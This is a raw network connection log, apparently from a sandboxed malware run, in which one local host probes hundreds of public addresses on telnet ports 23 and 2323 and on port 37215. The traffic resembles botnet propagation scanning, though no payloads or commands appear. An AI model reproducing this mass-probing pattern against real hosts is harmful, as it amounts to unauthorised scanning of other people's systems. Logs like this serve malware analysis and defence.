Oct 8, 2024 20:34:58.197678089 CEST	48168	23	192.168.2.14	149.193.85.34
Oct 8, 2024 20:34:58.197685957 CEST	48168	23	192.168.2.14	19.206.80.163
Oct 8, 2024 20:34:58.197686911 CEST	48168	23	192.168.2.14	188.62.163.224
Oct 8, 2024 20:34:58.197700024 CEST	48168	23	192.168.2.14	153.95.223.87
Oct 8, 2024 20:34:58.197704077 CEST	48168	2323	192.168.2.14	193.240.22.44
Oct 8, 2024 20:34:58.197709084 CEST	48168	23	192.168.2.14	35.61.213.59
Oct 8, 2024 20:34:58.197720051 CEST	48168	23	192.168.2.14	93.215.64.117
Oct 8, 2024 20:34:58.197720051 CEST	48168	23	192.168.2.14	202.60.183.249
Oct 8, 2024 20:34:58.197729111 CEST	48168	23	192.168.2.14	209.114.212.27
Oct 8, 2024 20:34:58.197737932 CEST	48168	23	192.168.2.14	154.126.149.22
Oct 8, 2024 20:34:58.197738886 CEST	48168	23	192.168.2.14	180.94.60.219
Oct 8, 2024 20:34:58.197737932 CEST	48168	23	192.168.2.14	192.248.63.252
Oct 8, 2024 20:34:58.197738886 CEST	48168	23	192.168.2.14	24.235.21.113
Oct 8, 2024 20:34:58.197740078 CEST	48168	23	192.168.2.14	38.40.177.255
Oct 8, 2024 20:34:58.197751999 CEST	48168	23	192.168.2.14	47.161.71.48
Oct 8, 2024 20:34:58.197751999 CEST	48168	2323	192.168.2.14	115.152.62.41
Oct 8, 2024 20:34:58.197774887 CEST	48168	23	192.168.2.14	74.188.160.249
Oct 8, 2024 20:34:58.197796106 CEST	48168	23	192.168.2.14	194.178.176.188
Oct 8, 2024 20:34:58.197796106 CEST	48168	23	192.168.2.14	112.95.104.140
Oct 8, 2024 20:34:58.197798014 CEST	48168	23	192.168.2.14	197.126.169.173
Oct 8, 2024 20:34:58.197798014 CEST	48168	23	192.168.2.14	96.27.99.128
Oct 8, 2024 20:34:58.197798014 CEST	48168	23	192.168.2.14	120.40.243.152
Oct 8, 2024 20:34:58.197803974 CEST	48168	23	192.168.2.14	162.29.190.149
Oct 8, 2024 20:34:58.197803974 CEST	48168	2323	192.168.2.14	148.16.27.63
Oct 8, 2024 20:34:58.197808981 CEST	48168	23	192.168.2.14	118.217.187.223
Oct 8, 2024 20:34:58.197810888 CEST	48168	23	192.168.2.14	93.151.97.164
Oct 8, 2024 20:34:58.197815895 CEST	48168	23	192.168.2.14	213.61.235.11
Oct 8, 2024 20:34:58.197824001 CEST	48168	23	192.168.2.14	104.226.18.5
Oct 8, 2024 20:34:58.197824001 CEST	48168	23	192.168.2.14	179.142.17.223
Oct 8, 2024 20:34:58.197832108 CEST	48168	23	192.168.2.14	79.113.143.45
Oct 8, 2024 20:34:58.197833061 CEST	48168	23	192.168.2.14	92.255.167.194
Oct 8, 2024 20:34:58.197838068 CEST	48168	23	192.168.2.14	180.171.218.191
Oct 8, 2024 20:34:58.197838068 CEST	48168	23	192.168.2.14	194.165.13.254
Oct 8, 2024 20:34:58.197839975 CEST	48168	23	192.168.2.14	38.202.73.3
Oct 8, 2024 20:34:58.197839975 CEST	48168	23	192.168.2.14	178.54.39.50
Oct 8, 2024 20:34:58.197844028 CEST	48168	23	192.168.2.14	121.95.219.204
Oct 8, 2024 20:34:58.197839975 CEST	48168	23	192.168.2.14	27.235.125.224
Oct 8, 2024 20:34:58.197846889 CEST	48168	23	192.168.2.14	212.94.76.132
Oct 8, 2024 20:34:58.197848082 CEST	48168	23	192.168.2.14	41.155.187.187
Oct 8, 2024 20:34:58.197846889 CEST	48168	23	192.168.2.14	89.112.106.112
Oct 8, 2024 20:34:58.197851896 CEST	48168	2323	192.168.2.14	102.185.117.228
Oct 8, 2024 20:34:58.197860956 CEST	48168	2323	192.168.2.14	92.17.88.32
Oct 8, 2024 20:34:58.197861910 CEST	48168	23	192.168.2.14	179.155.241.71
Oct 8, 2024 20:34:58.197860956 CEST	48168	23	192.168.2.14	148.255.24.175
Oct 8, 2024 20:34:58.197863102 CEST	48168	23	192.168.2.14	181.127.203.184
Oct 8, 2024 20:34:58.197861910 CEST	48168	23	192.168.2.14	99.222.154.176
Oct 8, 2024 20:34:58.197860956 CEST	48168	23	192.168.2.14	23.206.15.181
Oct 8, 2024 20:34:58.197860956 CEST	48168	23	192.168.2.14	192.142.109.143
Oct 8, 2024 20:34:58.197865009 CEST	48168	23	192.168.2.14	199.22.114.161
Oct 8, 2024 20:34:58.197865009 CEST	48168	23	192.168.2.14	5.153.122.10
Oct 8, 2024 20:34:58.197873116 CEST	48168	23	192.168.2.14	136.156.244.184
Oct 8, 2024 20:34:58.197873116 CEST	48168	23	192.168.2.14	213.108.155.209
Oct 8, 2024 20:34:58.197881937 CEST	48168	23	192.168.2.14	160.224.11.209
Oct 8, 2024 20:34:58.197880983 CEST	48168	23	192.168.2.14	75.243.11.66
Oct 8, 2024 20:34:58.197880983 CEST	48168	23	192.168.2.14	102.158.143.150
Oct 8, 2024 20:34:58.197894096 CEST	48168	2323	192.168.2.14	103.116.71.114
Oct 8, 2024 20:34:58.197895050 CEST	48168	23	192.168.2.14	157.122.79.110
Oct 8, 2024 20:34:58.197911978 CEST	48168	23	192.168.2.14	77.140.55.41
Oct 8, 2024 20:34:58.197911978 CEST	48168	23	192.168.2.14	60.26.209.24
Oct 8, 2024 20:34:58.197925091 CEST	48168	23	192.168.2.14	77.47.126.97
Oct 8, 2024 20:34:58.197943926 CEST	48168	23	192.168.2.14	198.66.187.241
Oct 8, 2024 20:34:58.197947025 CEST	48168	23	192.168.2.14	121.118.66.83
Oct 8, 2024 20:34:58.197947025 CEST	48168	23	192.168.2.14	83.211.163.95
Oct 8, 2024 20:34:58.197952032 CEST	48168	23	192.168.2.14	141.82.58.214
Oct 8, 2024 20:34:58.197959900 CEST	48168	23	192.168.2.14	220.105.172.56
Oct 8, 2024 20:34:58.197959900 CEST	48168	2323	192.168.2.14	64.10.234.25
Oct 8, 2024 20:34:58.197972059 CEST	48168	23	192.168.2.14	5.209.1.232
Oct 8, 2024 20:34:58.197978020 CEST	48168	23	192.168.2.14	135.156.180.14
Oct 8, 2024 20:34:58.197978020 CEST	48168	23	192.168.2.14	156.34.1.138
Oct 8, 2024 20:34:58.198003054 CEST	48168	23	192.168.2.14	161.172.160.50
Oct 8, 2024 20:34:58.198008060 CEST	48168	23	192.168.2.14	39.78.183.134
Oct 8, 2024 20:34:58.198009014 CEST	48168	23	192.168.2.14	166.238.2.122
Oct 8, 2024 20:34:58.198013067 CEST	48168	23	192.168.2.14	105.131.243.55
Oct 8, 2024 20:34:58.198019981 CEST	48168	23	192.168.2.14	67.157.224.147
Oct 8, 2024 20:34:58.198019981 CEST	48168	23	192.168.2.14	81.82.55.60
Oct 8, 2024 20:34:58.198020935 CEST	48168	2323	192.168.2.14	42.244.148.121
Oct 8, 2024 20:34:58.198035002 CEST	48168	23	192.168.2.14	152.197.222.239
Oct 8, 2024 20:34:58.198035955 CEST	48168	23	192.168.2.14	18.153.159.147
Oct 8, 2024 20:34:58.198049068 CEST	48168	23	192.168.2.14	122.233.164.201
Oct 8, 2024 20:34:58.198055983 CEST	48168	23	192.168.2.14	112.70.12.75
Oct 8, 2024 20:34:58.198061943 CEST	48168	23	192.168.2.14	177.153.205.13
Oct 8, 2024 20:34:58.198079109 CEST	48168	23	192.168.2.14	20.215.140.160
Oct 8, 2024 20:34:58.198084116 CEST	48168	23	192.168.2.14	76.20.240.222
Oct 8, 2024 20:34:58.198087931 CEST	48168	23	192.168.2.14	14.141.60.64
Oct 8, 2024 20:34:58.198088884 CEST	48168	2323	192.168.2.14	78.37.241.227
Oct 8, 2024 20:34:58.198087931 CEST	48168	23	192.168.2.14	32.141.84.183
Oct 8, 2024 20:34:58.198101997 CEST	48168	23	192.168.2.14	160.127.223.155
Oct 8, 2024 20:34:58.198102951 CEST	48168	23	192.168.2.14	14.28.124.194
Oct 8, 2024 20:34:58.198143959 CEST	48168	23	192.168.2.14	39.92.124.200
Oct 8, 2024 20:34:58.198147058 CEST	48168	23	192.168.2.14	159.103.174.145
Oct 8, 2024 20:34:58.198153973 CEST	48168	23	192.168.2.14	157.96.159.190
Oct 8, 2024 20:34:58.198169947 CEST	48168	23	192.168.2.14	14.173.107.134
Oct 8, 2024 20:34:58.198170900 CEST	48168	23	192.168.2.14	114.124.91.99
Oct 8, 2024 20:34:58.198173046 CEST	48168	23	192.168.2.14	222.63.78.4
Oct 8, 2024 20:34:58.198174000 CEST	48168	23	192.168.2.14	174.32.108.24
Oct 8, 2024 20:34:58.198174000 CEST	48168	2323	192.168.2.14	92.100.246.18
Oct 8, 2024 20:34:58.198183060 CEST	48168	23	192.168.2.14	126.240.75.114
Oct 8, 2024 20:34:58.198198080 CEST	48168	23	192.168.2.14	20.110.239.17
Oct 8, 2024 20:34:58.198198080 CEST	48168	23	192.168.2.14	187.105.151.122
Oct 8, 2024 20:34:58.198198080 CEST	48168	23	192.168.2.14	170.178.131.210
Oct 8, 2024 20:34:58.198198080 CEST	48168	23	192.168.2.14	204.80.33.209
Oct 8, 2024 20:34:58.198210955 CEST	48168	23	192.168.2.14	87.184.177.16
Oct 8, 2024 20:34:58.198218107 CEST	48168	23	192.168.2.14	104.54.59.52
Oct 8, 2024 20:34:58.198221922 CEST	48168	23	192.168.2.14	53.100.201.164
Oct 8, 2024 20:34:58.198221922 CEST	48168	2323	192.168.2.14	136.95.199.21
Oct 8, 2024 20:34:58.198223114 CEST	48168	23	192.168.2.14	210.71.20.128
Oct 8, 2024 20:34:58.198225021 CEST	48168	23	192.168.2.14	154.56.208.102
Oct 8, 2024 20:34:58.198235035 CEST	48168	23	192.168.2.14	114.93.175.159
Oct 8, 2024 20:34:58.198235035 CEST	48168	23	192.168.2.14	107.172.241.232
Oct 8, 2024 20:34:58.198242903 CEST	48168	23	192.168.2.14	107.104.157.97
Oct 8, 2024 20:34:58.198246956 CEST	48168	23	192.168.2.14	174.135.126.233
Oct 8, 2024 20:34:58.198251963 CEST	48168	23	192.168.2.14	124.47.191.233
Oct 8, 2024 20:34:58.198261976 CEST	48168	23	192.168.2.14	211.16.142.200
Oct 8, 2024 20:34:58.198262930 CEST	48168	23	192.168.2.14	188.41.117.88
Oct 8, 2024 20:34:58.198273897 CEST	48168	23	192.168.2.14	82.49.225.213
Oct 8, 2024 20:34:58.198282957 CEST	48168	2323	192.168.2.14	199.113.5.8
Oct 8, 2024 20:34:58.198285103 CEST	48168	23	192.168.2.14	133.133.127.15
Oct 8, 2024 20:34:58.198287964 CEST	48168	23	192.168.2.14	160.84.59.204
Oct 8, 2024 20:34:58.198301077 CEST	48168	23	192.168.2.14	148.245.106.174
Oct 8, 2024 20:34:58.198302984 CEST	48168	23	192.168.2.14	160.151.92.203
Oct 8, 2024 20:34:58.198309898 CEST	48168	23	192.168.2.14	216.53.56.64
Oct 8, 2024 20:34:58.198343992 CEST	48168	23	192.168.2.14	172.230.23.114
Oct 8, 2024 20:34:58.198354006 CEST	48168	2323	192.168.2.14	104.170.183.152
Oct 8, 2024 20:34:58.198354006 CEST	48168	23	192.168.2.14	69.71.24.251
Oct 8, 2024 20:34:58.198354006 CEST	48168	23	192.168.2.14	211.172.70.193
Oct 8, 2024 20:34:58.198354006 CEST	48168	23	192.168.2.14	34.90.131.235
Oct 8, 2024 20:34:58.198354006 CEST	48168	23	192.168.2.14	89.136.110.123
Oct 8, 2024 20:34:58.198354006 CEST	48168	23	192.168.2.14	66.216.37.47
Oct 8, 2024 20:34:58.198369026 CEST	48168	23	192.168.2.14	54.22.138.132
Oct 8, 2024 20:34:58.198379993 CEST	48168	23	192.168.2.14	153.83.24.169
Oct 8, 2024 20:34:58.198379993 CEST	48168	23	192.168.2.14	83.54.41.230
Oct 8, 2024 20:34:58.198386908 CEST	48168	23	192.168.2.14	161.171.174.188
Oct 8, 2024 20:34:58.198395014 CEST	48168	23	192.168.2.14	105.80.48.138
Oct 8, 2024 20:34:58.198407888 CEST	48168	23	192.168.2.14	181.143.108.241
Oct 8, 2024 20:34:58.198407888 CEST	48168	23	192.168.2.14	175.165.251.234
Oct 8, 2024 20:34:58.198412895 CEST	48168	2323	192.168.2.14	1.88.55.63
Oct 8, 2024 20:34:58.198420048 CEST	48168	23	192.168.2.14	130.230.221.56
Oct 8, 2024 20:34:58.198431969 CEST	48168	23	192.168.2.14	110.121.243.140
Oct 8, 2024 20:34:58.198434114 CEST	48168	23	192.168.2.14	111.156.40.163
Oct 8, 2024 20:34:58.198441982 CEST	48168	23	192.168.2.14	101.245.252.13
Oct 8, 2024 20:34:58.198443890 CEST	48168	23	192.168.2.14	79.115.121.179
Oct 8, 2024 20:34:58.198451042 CEST	48168	23	192.168.2.14	112.91.34.191
Oct 8, 2024 20:34:58.198457003 CEST	48168	23	192.168.2.14	216.144.239.167
Oct 8, 2024 20:34:58.198462963 CEST	48168	23	192.168.2.14	175.101.204.187
Oct 8, 2024 20:34:58.198468924 CEST	48168	23	192.168.2.14	147.194.155.229
Oct 8, 2024 20:34:58.198477030 CEST	48168	23	192.168.2.14	48.173.215.39
Oct 8, 2024 20:34:58.198483944 CEST	48168	2323	192.168.2.14	77.28.64.176
Oct 8, 2024 20:34:58.198491096 CEST	48168	23	192.168.2.14	211.3.137.66
Oct 8, 2024 20:34:58.198491096 CEST	48168	23	192.168.2.14	88.236.155.100
Oct 8, 2024 20:34:58.198498011 CEST	48168	23	192.168.2.14	192.192.25.102
Oct 8, 2024 20:34:58.198501110 CEST	48168	23	192.168.2.14	97.94.229.216
Oct 8, 2024 20:34:58.198502064 CEST	48168	23	192.168.2.14	32.5.148.58
Oct 8, 2024 20:34:58.198518991 CEST	48168	23	192.168.2.14	1.93.179.151
Oct 8, 2024 20:34:58.198544979 CEST	48168	23	192.168.2.14	53.124.120.129
Oct 8, 2024 20:34:58.198544979 CEST	48168	23	192.168.2.14	172.67.40.81
Oct 8, 2024 20:34:58.201484919 CEST	2323	36958	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:58.202018976 CEST	2323	37098	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:58.202110052 CEST	37098	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:58.203097105 CEST	2323	48168	14.255.5.153	192.168.2.14
Oct 8, 2024 20:34:58.203162909 CEST	48168	2323	192.168.2.14	14.255.5.153
Oct 8, 2024 20:34:58.203305960 CEST	23	48168	110.152.230.166	192.168.2.14
Oct 8, 2024 20:34:58.203366041 CEST	48168	23	192.168.2.14	110.152.230.166
Oct 8, 2024 20:34:58.203371048 CEST	23	48168	86.113.154.84	192.168.2.14
Oct 8, 2024 20:34:58.203387976 CEST	23	48168	149.193.85.34	192.168.2.14
Oct 8, 2024 20:34:58.203398943 CEST	23	48168	62.212.27.18	192.168.2.14
Oct 8, 2024 20:34:58.203413963 CEST	23	48168	46.36.83.204	192.168.2.14
Oct 8, 2024 20:34:58.203418970 CEST	48168	23	192.168.2.14	149.193.85.34
Oct 8, 2024 20:34:58.203421116 CEST	48168	23	192.168.2.14	86.113.154.84
Oct 8, 2024 20:34:58.203432083 CEST	23	48168	19.206.80.163	192.168.2.14
Oct 8, 2024 20:34:58.203449965 CEST	48168	23	192.168.2.14	62.212.27.18
Oct 8, 2024 20:34:58.203449965 CEST	48168	23	192.168.2.14	46.36.83.204
Oct 8, 2024 20:34:58.203453064 CEST	23	48168	188.62.163.224	192.168.2.14
Oct 8, 2024 20:34:58.203464031 CEST	23	48168	153.95.223.87	192.168.2.14
Oct 8, 2024 20:34:58.203469992 CEST	48168	23	192.168.2.14	19.206.80.163
Oct 8, 2024 20:34:58.203478098 CEST	2323	48168	193.240.22.44	192.168.2.14
Oct 8, 2024 20:34:58.203500032 CEST	48168	23	192.168.2.14	188.62.163.224
Oct 8, 2024 20:34:58.203502893 CEST	48168	23	192.168.2.14	153.95.223.87
Oct 8, 2024 20:34:58.203511953 CEST	48168	2323	192.168.2.14	193.240.22.44
Oct 8, 2024 20:34:58.203535080 CEST	23	48168	35.61.213.59	192.168.2.14
Oct 8, 2024 20:34:58.203547955 CEST	23	48168	93.215.64.117	192.168.2.14
Oct 8, 2024 20:34:58.203558922 CEST	23	48168	202.60.183.249	192.168.2.14
Oct 8, 2024 20:34:58.203569889 CEST	23	48168	209.114.212.27	192.168.2.14
Oct 8, 2024 20:34:58.203572035 CEST	48168	23	192.168.2.14	93.215.64.117
Oct 8, 2024 20:34:58.203578949 CEST	48168	23	192.168.2.14	35.61.213.59
Oct 8, 2024 20:34:58.203581095 CEST	23	48168	38.40.177.255	192.168.2.14
Oct 8, 2024 20:34:58.203588963 CEST	48168	23	192.168.2.14	202.60.183.249
Oct 8, 2024 20:34:58.203593969 CEST	23	48168	180.94.60.219	192.168.2.14
Oct 8, 2024 20:34:58.203607082 CEST	48168	23	192.168.2.14	38.40.177.255
Oct 8, 2024 20:34:58.203608990 CEST	48168	23	192.168.2.14	209.114.212.27
Oct 8, 2024 20:34:58.203628063 CEST	48168	23	192.168.2.14	180.94.60.219
Oct 8, 2024 20:34:58.203630924 CEST	23	48168	24.235.21.113	192.168.2.14
Oct 8, 2024 20:34:58.203643084 CEST	23	48168	154.126.149.22	192.168.2.14
Oct 8, 2024 20:34:58.203655005 CEST	23	48168	192.248.63.252	192.168.2.14
Oct 8, 2024 20:34:58.203665018 CEST	23	48168	47.161.71.48	192.168.2.14
Oct 8, 2024 20:34:58.203669071 CEST	48168	23	192.168.2.14	24.235.21.113
Oct 8, 2024 20:34:58.203672886 CEST	48168	23	192.168.2.14	154.126.149.22
Oct 8, 2024 20:34:58.203676939 CEST	2323	48168	115.152.62.41	192.168.2.14
Oct 8, 2024 20:34:58.203681946 CEST	48168	23	192.168.2.14	192.248.63.252
Oct 8, 2024 20:34:58.203690052 CEST	23	48168	74.188.160.249	192.168.2.14
Oct 8, 2024 20:34:58.203691006 CEST	48168	23	192.168.2.14	47.161.71.48
Oct 8, 2024 20:34:58.203701019 CEST	23	48168	194.178.176.188	192.168.2.14
Oct 8, 2024 20:34:58.203706026 CEST	48168	2323	192.168.2.14	115.152.62.41
Oct 8, 2024 20:34:58.203711987 CEST	23	48168	197.126.169.173	192.168.2.14
Oct 8, 2024 20:34:58.203722000 CEST	23	48168	96.27.99.128	192.168.2.14
Oct 8, 2024 20:34:58.203727961 CEST	48168	23	192.168.2.14	74.188.160.249
Oct 8, 2024 20:34:58.203732967 CEST	23	48168	118.217.187.223	192.168.2.14
Oct 8, 2024 20:34:58.203737974 CEST	48168	23	192.168.2.14	194.178.176.188
Oct 8, 2024 20:34:58.203742981 CEST	23	48168	93.151.97.164	192.168.2.14
Oct 8, 2024 20:34:58.203748941 CEST	48168	23	192.168.2.14	197.126.169.173
Oct 8, 2024 20:34:58.203748941 CEST	48168	23	192.168.2.14	96.27.99.128
Oct 8, 2024 20:34:58.203756094 CEST	23	48168	120.40.243.152	192.168.2.14
Oct 8, 2024 20:34:58.203758955 CEST	48168	23	192.168.2.14	118.217.187.223
Oct 8, 2024 20:34:58.203768969 CEST	23	48168	112.95.104.140	192.168.2.14
Oct 8, 2024 20:34:58.203778982 CEST	23	48168	213.61.235.11	192.168.2.14
Oct 8, 2024 20:34:58.203788042 CEST	48168	23	192.168.2.14	120.40.243.152
Oct 8, 2024 20:34:58.203790903 CEST	23	48168	104.226.18.5	192.168.2.14
Oct 8, 2024 20:34:58.203802109 CEST	23	48168	162.29.190.149	192.168.2.14
Oct 8, 2024 20:34:58.203802109 CEST	48168	23	192.168.2.14	93.151.97.164
Oct 8, 2024 20:34:58.203808069 CEST	48168	23	192.168.2.14	112.95.104.140
Oct 8, 2024 20:34:58.203810930 CEST	48168	23	192.168.2.14	213.61.235.11
Oct 8, 2024 20:34:58.203819990 CEST	23	48168	179.142.17.223	192.168.2.14
Oct 8, 2024 20:34:58.203823090 CEST	48168	23	192.168.2.14	104.226.18.5
Oct 8, 2024 20:34:58.203831911 CEST	2323	48168	148.16.27.63	192.168.2.14
Oct 8, 2024 20:34:58.203841925 CEST	48168	23	192.168.2.14	162.29.190.149
Oct 8, 2024 20:34:58.203843117 CEST	23	48168	121.95.219.204	192.168.2.14
Oct 8, 2024 20:34:58.203856945 CEST	48168	23	192.168.2.14	179.142.17.223
Oct 8, 2024 20:34:58.203866005 CEST	48168	2323	192.168.2.14	148.16.27.63
Oct 8, 2024 20:34:58.203876972 CEST	48168	23	192.168.2.14	121.95.219.204
Oct 8, 2024 20:34:58.204128027 CEST	23	48168	79.113.143.45	192.168.2.14
Oct 8, 2024 20:34:58.204138994 CEST	23	48168	180.171.218.191	192.168.2.14
Oct 8, 2024 20:34:58.204150915 CEST	23	48168	92.255.167.194	192.168.2.14
Oct 8, 2024 20:34:58.204164028 CEST	23	48168	38.202.73.3	192.168.2.14
Oct 8, 2024 20:34:58.204165936 CEST	48168	23	192.168.2.14	79.113.143.45
Oct 8, 2024 20:34:58.204174042 CEST	48168	23	192.168.2.14	180.171.218.191
Oct 8, 2024 20:34:58.204174995 CEST	48168	23	192.168.2.14	92.255.167.194
Oct 8, 2024 20:34:58.204184055 CEST	23	48168	194.165.13.254	192.168.2.14
Oct 8, 2024 20:34:58.204195023 CEST	23	48168	41.155.187.187	192.168.2.14
Oct 8, 2024 20:34:58.204199076 CEST	48168	23	192.168.2.14	38.202.73.3
Oct 8, 2024 20:34:58.204215050 CEST	48168	23	192.168.2.14	194.165.13.254
Oct 8, 2024 20:34:58.204224110 CEST	23	48168	212.94.76.132	192.168.2.14
Oct 8, 2024 20:34:58.204225063 CEST	48168	23	192.168.2.14	41.155.187.187
Oct 8, 2024 20:34:58.204236031 CEST	23	48168	178.54.39.50	192.168.2.14
Oct 8, 2024 20:34:58.204247952 CEST	23	48168	89.112.106.112	192.168.2.14
Oct 8, 2024 20:34:58.204260111 CEST	23	48168	27.235.125.224	192.168.2.14
Oct 8, 2024 20:34:58.204260111 CEST	48168	23	192.168.2.14	212.94.76.132
Oct 8, 2024 20:34:58.204262972 CEST	48168	23	192.168.2.14	178.54.39.50
Oct 8, 2024 20:34:58.204271078 CEST	23	48168	181.127.203.184	192.168.2.14
Oct 8, 2024 20:34:58.204274893 CEST	48168	23	192.168.2.14	89.112.106.112
Oct 8, 2024 20:34:58.204282045 CEST	2323	48168	102.185.117.228	192.168.2.14
Oct 8, 2024 20:34:58.204294920 CEST	48168	23	192.168.2.14	27.235.125.224
Oct 8, 2024 20:34:58.204294920 CEST	48168	23	192.168.2.14	181.127.203.184
Oct 8, 2024 20:34:58.204303980 CEST	23	48168	179.155.241.71	192.168.2.14
Oct 8, 2024 20:34:58.204314947 CEST	23	48168	199.22.114.161	192.168.2.14
Oct 8, 2024 20:34:58.204318047 CEST	48168	2323	192.168.2.14	102.185.117.228
Oct 8, 2024 20:34:58.204324007 CEST	2323	48168	92.17.88.32	192.168.2.14
Oct 8, 2024 20:34:58.204334974 CEST	23	48168	99.222.154.176	192.168.2.14
Oct 8, 2024 20:34:58.204345942 CEST	48168	23	192.168.2.14	179.155.241.71
Oct 8, 2024 20:34:58.204346895 CEST	48168	23	192.168.2.14	199.22.114.161
Oct 8, 2024 20:34:58.204355001 CEST	48168	2323	192.168.2.14	92.17.88.32
Oct 8, 2024 20:34:58.204355955 CEST	48168	23	192.168.2.14	99.222.154.176
Oct 8, 2024 20:34:58.204427004 CEST	23	48168	148.255.24.175	192.168.2.14
Oct 8, 2024 20:34:58.204468966 CEST	48168	23	192.168.2.14	148.255.24.175
Oct 8, 2024 20:34:58.438438892 CEST	23	34402	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:58.438725948 CEST	34402	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:58.439348936 CEST	34514	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:58.444519997 CEST	23	34402	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:58.444562912 CEST	23	34514	67.23.229.115	192.168.2.14
Oct 8, 2024 20:34:58.444695950 CEST	34514	23	192.168.2.14	67.23.229.115
Oct 8, 2024 20:34:58.591284990 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:58.591293097 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:58.591293097 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:58.591300964 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:58.591320038 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:58.591320038 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.591326952 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:58.597229958 CEST	37215	45628	197.188.135.64	192.168.2.14
Oct 8, 2024 20:34:58.597244024 CEST	37215	35502	41.219.111.19	192.168.2.14
Oct 8, 2024 20:34:58.597253084 CEST	37215	58984	156.103.50.200	192.168.2.14
Oct 8, 2024 20:34:58.597263098 CEST	37215	34952	156.196.119.180	192.168.2.14
Oct 8, 2024 20:34:58.597270966 CEST	37215	42350	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:58.597306013 CEST	37215	46902	156.150.11.107	192.168.2.14
Oct 8, 2024 20:34:58.597316027 CEST	37215	47628	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:58.597325087 CEST	45628	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:58.597337008 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:58.597342014 CEST	34952	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:58.597373962 CEST	42350	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:58.597373962 CEST	46902	37215	192.168.2.14	156.150.11.107
Oct 8, 2024 20:34:58.597394943 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:58.597394943 CEST	47628	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:58.597470999 CEST	35502	37215	192.168.2.14	41.219.111.19
Oct 8, 2024 20:34:58.597487926 CEST	58984	37215	192.168.2.14	156.103.50.200
Oct 8, 2024 20:34:58.597517014 CEST	48169	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:58.597529888 CEST	48169	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:58.597531080 CEST	48169	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:58.597543955 CEST	48169	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:58.597544909 CEST	48169	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:58.597552061 CEST	48169	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:58.597563028 CEST	48169	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:58.597564936 CEST	48169	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:58.597569942 CEST	48169	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:58.597589016 CEST	48169	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:58.597590923 CEST	48169	37215	192.168.2.14	197.240.193.198
Oct 8, 2024 20:34:58.597601891 CEST	48169	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:58.597603083 CEST	48169	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:58.597604036 CEST	48169	37215	192.168.2.14	156.54.221.90
Oct 8, 2024 20:34:58.597604036 CEST	48169	37215	192.168.2.14	156.46.116.76
Oct 8, 2024 20:34:58.597621918 CEST	48169	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:58.597625971 CEST	48169	37215	192.168.2.14	41.128.55.150
Oct 8, 2024 20:34:58.597628117 CEST	48169	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:58.597660065 CEST	48169	37215	192.168.2.14	41.40.122.126
Oct 8, 2024 20:34:58.597660065 CEST	48169	37215	192.168.2.14	197.4.95.177
Oct 8, 2024 20:34:58.597660065 CEST	48169	37215	192.168.2.14	197.38.138.119
Oct 8, 2024 20:34:58.597660065 CEST	48169	37215	192.168.2.14	197.95.10.150
Oct 8, 2024 20:34:58.597667933 CEST	48169	37215	192.168.2.14	156.67.186.77
Oct 8, 2024 20:34:58.597673893 CEST	48169	37215	192.168.2.14	41.208.240.150
Oct 8, 2024 20:34:58.597676039 CEST	48169	37215	192.168.2.14	197.248.137.205
Oct 8, 2024 20:34:58.597681999 CEST	48169	37215	192.168.2.14	41.243.81.130
Oct 8, 2024 20:34:58.597690105 CEST	48169	37215	192.168.2.14	156.244.31.247
Oct 8, 2024 20:34:58.597700119 CEST	48169	37215	192.168.2.14	41.159.208.39
Oct 8, 2024 20:34:58.597701073 CEST	48169	37215	192.168.2.14	156.86.68.61
Oct 8, 2024 20:34:58.597709894 CEST	48169	37215	192.168.2.14	41.195.106.175
Oct 8, 2024 20:34:58.597711086 CEST	48169	37215	192.168.2.14	156.148.159.1
Oct 8, 2024 20:34:58.597719908 CEST	48169	37215	192.168.2.14	197.106.7.210
Oct 8, 2024 20:34:58.597728968 CEST	48169	37215	192.168.2.14	156.201.58.89
Oct 8, 2024 20:34:58.597738981 CEST	48169	37215	192.168.2.14	156.0.14.37
Oct 8, 2024 20:34:58.597765923 CEST	48169	37215	192.168.2.14	197.135.170.17
Oct 8, 2024 20:34:58.597765923 CEST	48169	37215	192.168.2.14	41.111.67.4
Oct 8, 2024 20:34:58.597767115 CEST	48169	37215	192.168.2.14	41.46.31.218
Oct 8, 2024 20:34:58.597773075 CEST	48169	37215	192.168.2.14	41.174.189.13
Oct 8, 2024 20:34:58.597773075 CEST	48169	37215	192.168.2.14	197.245.79.240
Oct 8, 2024 20:34:58.597774029 CEST	48169	37215	192.168.2.14	156.24.76.204
